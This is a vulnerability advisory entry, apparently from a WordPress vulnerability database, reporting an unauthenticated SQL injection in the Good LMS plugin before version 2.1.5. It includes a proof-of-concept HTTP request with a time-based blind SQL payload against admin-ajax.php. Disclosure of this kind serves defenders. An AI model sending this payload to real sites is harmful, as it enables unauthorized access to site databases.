Lucene search

K
wpexploitWpvulndbWPEX-ID:652EAEF8-5A3C-4A2D-AC60-B5414565C397
HistoryNov 12, 2020 - 12:00 a.m.

Good LMS < 2.1.5 - Unauthenticated SQL Injection

2020-11-1200:00:00
wpvulndb
18

0.117 Low

EPSS

Percentile

95.3%

The Good LMS WordPress plugin was vulnerable to Unauthenticated SQL Injection in its ‘id’ parameter of the gdlr_lms_cancel_booking action.

POST /wp-admin/admin-ajax.php HTTP/1.1

action=gdlr_lms_cancel_booking&id=(SELECT 1337 FROM (SELECT(SLEEP(10)))MrMV)

0.117 Low

EPSS

Percentile

95.3%

Related for WPEX-ID:652EAEF8-5A3C-4A2D-AC60-B5414565C397